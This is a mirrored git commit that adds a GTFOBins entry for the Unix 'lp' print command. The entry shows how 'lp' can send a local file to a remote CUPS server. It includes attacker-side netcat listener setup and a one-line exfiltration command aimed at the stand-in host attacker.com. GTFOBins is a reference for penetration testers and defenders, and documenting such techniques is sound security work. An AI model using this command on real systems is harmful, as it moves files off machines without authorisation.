mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Create lp.md
This commit is contained in:
parent
242dcbab4f
commit
a01a420e43
16
_gtfobins/lp.md
Normal file
16
_gtfobins/lp.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
file-upload:
|
||||||
|
- description: To collect the file run the following on the attacker box (this requires `cups` to be installed):
|
||||||
|
|
||||||
|
Run `lpadmin -p printer -v socket://localhost -E` to create a virtual printer.
|
||||||
|
Run `lpadmin -d printer` to set the new printer as default.
|
||||||
|
Run `cupsctl --remote-any` to enable printing from the Internet.
|
||||||
|
Run `nc -lkp 9100`.
|
||||||
|
|
||||||
|
Send a local file to a CUPS server.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_send
|
||||||
|
RHOST=attacker.com
|
||||||
|
lp $LFILE -h $RHOST
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user